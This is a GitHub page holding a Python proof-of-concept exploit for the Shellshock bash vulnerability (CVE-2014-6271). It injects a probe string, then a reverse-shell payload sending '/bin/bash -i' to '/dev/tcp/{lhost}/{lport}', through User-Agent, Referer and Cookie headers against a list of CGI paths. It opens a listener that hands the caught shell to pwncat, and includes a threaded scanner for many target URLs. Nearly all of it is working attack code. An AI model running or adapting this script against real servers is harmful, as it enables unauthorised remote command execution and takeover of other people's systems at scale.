-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2014-6271.py
160 lines (139 loc) · 7.71 KB
/
CVE-2014-6271.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
import socket
import requests
import argparse
import threading
import pwncat.manager
from rich.console import Console
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()
def ascii_art():
console.print("[bold bright_green] _______ ________ ___ ____ _____ __ ________ ________[/bold bright_green]")
console.print("[bold bright_green] / ____/ | / / ____/ |__ \ / __ < / // / / ___/__ \/__ < /[/bold bright_green]")
console.print("[bold bright_green] / / | | / / __/________/ // / / / / // /_______/ __ \__/ / / // /[/bold bright_green]")
console.print("[bold bright_green]/ /___ | |/ / /__/_____/ __// /_/ / /__ __/_____/ /_/ / __/ / // /[/bold bright_green]")
console.print("[bold bright_green]\____/ |___/_____/ /____/\____/_/ /_/ \____/____/ /_//_/[/bold bright_green]")
print("")
print("Coded By: K3ysTr0K3R")
print("")
class ShellshockExploit:
def __init__(self, lhost, lport, bindaddress, bindport):
self.lhost = lhost
self.lport = int(lport) if lport else None
self.bindaddress = bindaddress
self.bindport = int(bindport) if bindport else None
self.paths = [
"",
"/",
"/cgi-bin/status",
"/cgi-bin/stats",
"/cgi-bin/test",
"/cgi-bin/status/status.cgi",
"/victim.cgi",
"/test.cgi",
"/safe.cgi",
"/debug.cgi",
"/cgi-bin/test-cgi"
]
self.test = '() { :;};echo -e "\\r\\nCC09k3vHmoON63$(echo CC09k3vHmoON63)CC09k3vHmoON63"'
self.payload = f'() {{ :;}}; /bin/bash -i > /dev/tcp/{self.lhost}/{self.lport} 0<&1 2>&1'
self.options_user_agent_test = {'User-Agent': self.test}
self.options_referer_test = {'Referer': self.test}
self.options_cookie_test = {'Cookie': self.test}
self.options_user_agent_payload = {'User-Agent': self.payload}
self.options_referer_payload = {'Referer': self.payload}
self.options_cookie_payload = {'Cookie': self.payload}
def test_vuln(self, target):
for path in self.paths:
for headers in [self.options_user_agent_test, self.options_referer_test, self.options_cookie_test]:
try:
response = requests.get(target + path, headers=headers, verify=False)
if "CC09k3vHmoON63CC09k3vHmoON63CC09k3vHmoON63" in response.text:
return (path, headers)
except Exception:
pass
return None, None
def exploit_process(self, target, vuln_path):
console.print("[bold bright_blue][*][/bold bright_blue] Checking if the target is vulnerable to Shellshock")
if vuln_path:
console.print("[bold bright_green][+][/bold bright_green] The target is vulnerable to Shellshock")
console.print(f"[bold bright_blue][*][/bold bright_blue] Initiating exploit against: [bold bright_cyan]{target}[/bold bright_cyan][bold bright_magenta]{vuln_path}[/bold bright_magenta]")
console.print(f"[bold bright_blue][*][/bold bright_blue] Deploying payload: [bold bright_yellow]() {{ :;}}; /bin/bash -i > /dev/ttcp/{self.lhost}/{self.lport} 0<&1 2>&1[/bold bright_yellow]")
for data in [self.options_user_agent_payload, self.options_referer_payload, self.options_cookie_payload]:
console.print("[bold bright_green][+][/bold bright_green] Payload deployed successfully")
response = requests.get(target + vuln_path, headers=data, verify=False)
else:
console.print("[red][-][/red] The target is not vulnerable to Shellshock")
exit()
def start_listener(self, timeout=30):
if not self.bindaddress or not self.bindport:
console.print("[red][-][/red] Bind address or bind port is not specified.")
return
with socket.create_server((self.bindaddress, self.bindport)) as listener:
listener.settimeout(timeout)
console.print(f"[bold bright_blue][*][/bold bright_blue] Waiting for incoming connection on {self.bindaddress}:{self.bindport}")
try:
victim, victim_addr = listener.accept()
console.print(f"[bold bright_blue][*][/bold bright_blue] Received connection from {victim_addr[0]}:{victim_addr[1]}")
with pwncat.manager.Manager() as manager:
console.print("[bold bright_blue][*][/bold bright_blue] Shell opened successfully")
session = manager.create_session(platform="linux", protocol="socket", client=victim)
manager.interactive()
except socket.timeout:
print(f"[-] No reverse shell connection received within {timeout} seconds")
def shellshock_scanner(self, target):
vuln_path, _ = self.test_vuln(target)
if vuln_path:
console.print(f"[bold bright_green][+][/bold bright_green] Shellshock vulnerability detected at [bold bright_cyan]{target}[/bold bright_cyan][bold bright_magenta]{vuln_path}[/bold bright_magenta]")
def scan_from_file(self, target_file, threads):
with open(target_file, "r") as url_file:
urls = [url.strip() for url in url_file]
if not urls:
console.print("[red][-][/red] No URLs to scan.")
return
completed_tasks = []
failed_tasks = []
with alive_bar(
len(urls), title="Scanning Targets", bar="smooth", enrich_print=False
) as bar:
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_url = {
executor.submit(self.shellshock_scanner, url): url for url in urls
}
for future in as_completed(future_to_url):
url = future_to_url[future]
try:
future.result()
completed_tasks.append(url)
except Exception:
failed_tasks.append((url))
bar()
if __name__ == "__main__":
ascii_art()
parser = argparse.ArgumentParser(description="A PoC for CVE-2014-6271 - Shellshock")
parser.add_argument("-u", "--url", help="Target URL to exploit.")
parser.add_argument("-lh", "--lhost", help="Local host for reverse shell.")
parser.add_argument("-lp", "--lport", help="Local port for reverse shell.")
parser.add_argument("-ba", "--bindaddress", help="Bind address for bind shell (Required).")
parser.add_argument("-bp", "--bindport", help="Bind port listener (Required).")
parser.add_argument("-f", "--file", help="File containing target URLs to scan from.")
parser.add_argument("-t", "--threads", type=int, help="The amount of threads you wish to use for the scanner.")
args = parser.parse_args()
if args.url:
target = args.url
exploit = ShellshockExploit(args.lhost, args.lport, args.bindaddress, args.bindport)
vuln_path, _ = exploit.test_vuln(target)
if vuln_path:
exploit_thread = threading.Thread(target=exploit.exploit_process, args=(target, vuln_path))
listen_thread = threading.Thread(target=exploit.start_listener)
listen_thread.start()
exploit_thread.start()
exploit_thread.join()
if args.bindport:
listen_thread.join()
elif args.file:
exploit = ShellshockExploit(args.lhost, args.lport, args.bindaddress, args.bindport)
exploit.scan_from_file(args.file, args.threads)